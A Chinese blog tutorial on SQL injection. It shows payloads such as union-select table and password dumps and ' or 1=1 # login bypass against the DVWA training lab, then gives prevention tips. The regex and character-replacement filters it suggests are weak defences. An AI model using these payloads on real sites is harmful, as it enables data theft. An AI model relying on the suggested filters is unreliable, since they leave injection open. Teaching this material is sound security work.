SQL注入攻击,你中招了吗?

MySQL数据库机器学习

一、背景介绍

SQL 注入攻击是 Web 网络系统上非常常见的一种攻击!

黑客通过将恶意的 SQL 查询或者添加语句插入到应用的输入参数中,然后在后台 SQL 服务器上解析执行进行程序攻击!

picture.image

哪黑客具体是如何将恶意的 SQL 脚本进行植入到系统中,从而达到攻击的目的呢?

现在的 Web 程序基本都是三层架构,也就是我们常说的 MVC 模式:

  • 表示层:用于数据的展示,也就是前端界面
  • 业务逻辑层:用于接受前端页面传入的参数,进行逻辑处理
  • 数据访问层:逻辑层处理完毕之后,会将数据存储到对应的数据库,例如mysql、oracle、sqlserver等等

picture.image

例如在上图中,用户访问主页进行了如下过程:

  • 1、在 Web 浏览器中输入 www.shiyanlou.com 接到对应的服务器
  • 2、 Web 服务器从本地存储中加载 index.php 脚本程序并解析
  • 3、脚本程序会连接位于数据访问层的 DBMS (数据库管理系统),并执行 Sql 语句
  • 4、数据库管理系统返回 Sql 语句执行结果给 Web 服务器
  • 5、 Web 服务器将页面封装成 HTML 格式发送给 Web 浏览器
  • 6、 Web 浏览器解析 HTML 文件,将内容展示给用户

整个过程中间的业务逻辑层只是进行逻辑处理,从用户到获取数据,简单的说,三层架构是一种线性关系。

二、SQL 注入漏洞详解

刚刚我们也讲到,当我们访问网页时,Web 服务器会向数据访问层发起 SQL 查询请求,如果权限验证通过就会执行 SQL 语句。

一般来说,如果是正常使用是不会有什么危险的,但是如果用户输入的数据被构造成恶意 SQL 代码,Web 应用又未对动态构造的 SQL 语句使用的参数进行检查,则会带来意想不到的危险!

废话也不多说来,下面我们就一起来看看,黑客是如何绕过参数检查,从而实现窃取数据的目的!

2.1、SQL 注入示例一:猜解数据库

下面我们使用 DVWA 渗透测试 平台,作为攻击测试的目标,让你更加清楚的理解 SQL 注入猜解数据库是如何发生的。

启动服务之后,首先观察浏览器中的 URL ,先输入 1 ,查看回显!

picture.image

从图中可以看出, ID : 1,First Name:admin,Surname:Admin 信息!

那后台执行了什么样的 SQL 语句呢?点击 view source 查看源代码 ,其中的 SQL 查询代码为:


        
        
            

          
 SELECT
 
           first\_name, last\_name 
          
 FROM
 
           
          
 users
 
           
          
 WHERE
 
           user\_id = 
          
 '1'
 
          ;
          
   

 
        
      

OK!

如果我们不按常理出牌,比如在输入框中输入 1' order by 1#

实际执行的 SQL 语句就会变成这样:


        
        
            

          
 SELECT
 
           first\_name, last\_name 
          
 FROM
 
           
          
 users
 
           
          
 WHERE
 
           user\_id = 
          
 '1'
 
           
          
 order
 
           
          
 by
 
           
          
 1
 
          
 #
 
          
   

 
        
      

这条语句的意思是查询 users 表中 user\_id1 的数据并按第一字段排行

其中 # 后面的 SQL 语句,都会当作注释进行处理,不会被执行!

输入 1' order by 1#1' order by 2# 时都能返回正常!

picture.image

picture.image

当输入 1' order by 3# 时,返回错误!

picture.image

由此得知, users 表中只有两个字段,数据为两列!

接下来,我们玩点高级的!

我们使用 union select 联合查询继续获取信息!

直接在输入框中输入 1' union select database(),user()# 进行查询!

picture.image

实际执行的Sql语句是:


        
        
            

          
 SELECT
 
           first\_name, last\_name 
          
 FROM
 
           
          
 users
 
           
          
 WHERE
 
           user\_id = 
          
 '1'
 
           
          
 union
 
           
          
 select
 
           
          
 database
 
          (),
          
 user
 
          ()
          
 #'
 
          
   

 
        
      

通过返回信息,我们成功获取到:

  • 当前网站使用数据库为 dvwa
  • 当前执行查询用户名为 root@localhost

接下来我们尝试获取 dvwa 数据库中的表名!

在输入框中输入 1' union select table\_name,table\_schema from information\_schema.tables where table\_schema= 'dvwa'# 进行查询!

picture.image

实际执行的Sql语句是:


        
        
            

          
 SELECT
 
           first\_name, last\_name 
          
 FROM
 
           
          
 users
 
           
          
 WHERE
 
           user\_id = 
          
 '1'
 
           
          
 union
 
           
          
 select
 
           table\_name,table\_schema 
          
 from
 
           information\_schema.tables 
          
 where
 
           table\_schema= 
          
 'dvwa'
 
          
 #'
 
          
   

 
        
      

通过上图返回信息,我们再获取到:

  • dvwa 数据库有两个数据表,分别是 guestbookusers

可能有些同学还不够满足,接下来尝试获取重量级的 用户名、密码

根据经验我们可以大胆猜测 users 表的字段为 userpassword ,所以输入: 1' union select user,password from users# 进行查询:

picture.image

实际执行的Sql语句是:


        
        
            

          
 SELECT
 
           first\_name, last\_name 
          
 FROM
 
           
          
 users
 
           
          
 WHERE
 
           user\_id = 
          
 '1'
 
           
          
 union
 
           
          
 select
 
           
          
 user
 
          ,
          
 password
 
           
          
 from
 
           
          
 users
 
          
 #'
 
          
   

 
        
      

可以看到成功爆出了 用户名、密码 ,密码通过猜测采用 md5 进行加密,可以直接到 www.cmd5.com 网站进行解密。

2.2、SQL 注入示例二:验证绕过

接下来我们再试试另一个利用 SQL 漏洞绕过登录验证的示例!

这是一个普通的登录页面,只要输入正确的用户名和密码就能登录成功。

picture.image

我们先尝试随意输入用户名 123 和密码 123 登录!

picture.image

好像不太行,登录被拦截,从错误页面中我们无法获取到任何信息!

点击 view source 查看源代码 ,其中的 SQL 查询代码为:


        
        
            

          
 select
 
           * 
          
 from
 
           
          
 users
 
           
          
 where
 
           username=
          
 '123'
 
           
          
 and
 
           
          
 password
 
          =
          
 '123'
 
          
   

 
        
      

按照上面示例的思路,我们尝试在用户名中输入 123' or 1=1 # , 密码同样输入 123' or 1=1 #

picture.image

picture.image

恭喜你,登录成功!

为什么能够登陆成功呢?实际执行的语句是:


        
        
            

          
 select
 
           * 
          
 from
 
           
          
 users
 
           
          
 where
 
           username=
          
 '123'
 
           
          
 or
 
           
          
 1
 
          =
          
 1
 
           
          
 #' and password='123' or 1=1 #'
 
          
   

 
        
      

按照 Mysql 语法, # 后面的内容会被忽略,所以以上语句等同于:


        
        
            

          
 select
 
           * 
          
 from
 
           
          
 users
 
           
          
 where
 
           username=
          
 '123'
 
           
          
 or
 
           
          
 1
 
          =
          
 1
 
          
   

 
        
      

由于判断语句 or 1=1 恒成立,所以结果当然返回真,成功登录!

我们再尝试不使用 # 屏蔽单引号,在用户名中输入 123' or '1'='1 , 密码同样输入 123' or '1'='1

picture.image

picture.image

依然能够成功登录,实际执行的 SQL 语句是:


        
        
            

          
 select
 
           * 
          
 from
 
           
          
 users
 
           
          
 where
 
           username=
          
 '123'
 
           
          
 or
 
           
          
 '1'
 
          =
          
 '1'
 
           
          
 and
 
           
          
 password
 
          =
          
 '123'
 
           
          
 or
 
           
          
 '1'
 
          =
          
 '1'
 
          
   

 
        
      

两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录!

2.3、SQL 注入示例三:判断注入点

通常情况下,可能存在 SQL 注入漏洞的 Url 是类似这种形式 : http://xxx.xxx.xxx/abcd.php?id=XX

对 SQL 注入的判断,主要有两个方面:

  • 判断该带参数的 Url 是否可以进行 SQL 注入
  • 如果存在 SQL 注入,那么属于哪种 SQL 注入

可能存在 SQL 注入攻击的动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一概而论。

总之,只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在 SQL 注入。

例如现在有这么一个 URL 地址:


        
        
            

          http://xxx/abc.php?id=1
          
   

 
        
      

首先根据经验猜测,它可能执行如下语句进行查询:


        
        
            

          select * from <表名> 
          
 where
 
           id = x
          
   

 
        
      

因此,在 URL 地址栏中输入 http://xxx/abc.php?id= x and '1'='1 页面依旧运行正常,继续进行下一步!

当然不带参数的 URL 也未必是安全的,现在有很多第三方的工具,例如 postman 工具,一样可以模拟各种请求!

黑客们在攻击的时候,同样会使用各种假设法来验证自己的判断!

三、如何预防 SQL 注入呢

上文中介绍的 SQL 攻击场景都比较基础,只是简单的向大家介绍一下!

那对于这种黑客攻击,我们有没有什么办法呢?

答案肯定是有的,就是对前端用户输入的所有的参数进行审查,最好是全文进行判断或者替换!

例如,当用户输入非法字符的时候,使用正则表达式进行匹配判断!


        
        
            

          
 private
 
           String CHECKSQL = 
          
 "^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$"
 
          ;
          
   

 
          Pattern.matches(CHECKSQL,targerStr);
          
   

 
        
      

或者,全局替换,都可以!


        
        
            

          
 
 public
 
  
 
 static
 
  String 
 
 TransactSQLInjection
 
 
 (String sql)
 
  
 
          {
          
   

 
             
          
 return
 
           sql.replaceAll(
          
 ".*([';]+|(--)+).*"
 
          , 
          
 " "
 
          );   
          
   

 
          }
          
   

 
        
      

还可以采用预编译的语句集!

例如当使用 Mybatis 的时候,尽可能的用 #{} 语法来传参数,而不是 ${}

举个例子!

如果传入的username 为 a' or '1=1 ,那么使用 ${} 处理后直接替换字符串的sql就解析为


        
        
            

          
 select
 
           * 
          
 from
 
           t\_user 
          
 where
 
           username = 
          
 'a'
 
           
          
 or
 
           
          
 '1=1'
 
          
   

 
        
      

这样的话所有的用户数据就被查出来了,就属于 SQL 注入!

如果使用 #{} ,经过 sql 动态解析和预编译,会把单引号转义为 \' ,SQL 最终解析为


        
        
            

          
 select
 
           * 
          
 from
 
           t\_user 
          
 where
 
           username = 
          
 "a\' or \'1=1 "
 
          
   

 
        
      

这样会查不出任何数据,有效阻止 sql 注入!

********如果觉得文章内容不错,随手帮忙点个赞、在看、转发一下,如果想第一时间收到推送,也可以给我个星标⭐~谢谢你看我的文章。更多精选干货,可以点击下方卡片进行

查阅!********

最后欢迎 加入苏三的星球 ,你将获得: 商城微服务实战、秒杀系统实战 、 商城系统实战、秒杀系统实战、代码生成工具、系统设计、性能优化、技术选型、底层原理、Spring源码解读、工作经验分享、痛点问题、面试八股文等多个优质专栏。

还有1V1答疑、修改简历、职业规划、送书活动、技术交流。

picture.image

目前星球已经更新了4900+篇优质内容,还在持续爆肝中.....

星球已经被官方推荐了3次,收到了小伙伴们的一致好评。戳我加入学习,已有1600+小伙伴加入学习。

0
0
0
0
关于作者
关于作者

文章

0

获赞

0

收藏

0

相关资源
云原生数据库 veDB 核心技术剖析与展望
veDB 是一款分布式数据库,采用了云原生计算存储分离架构。本次演讲将为大家介绍火山引擎这款云原生数据库的核心技术原理,并对未来进行展望。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论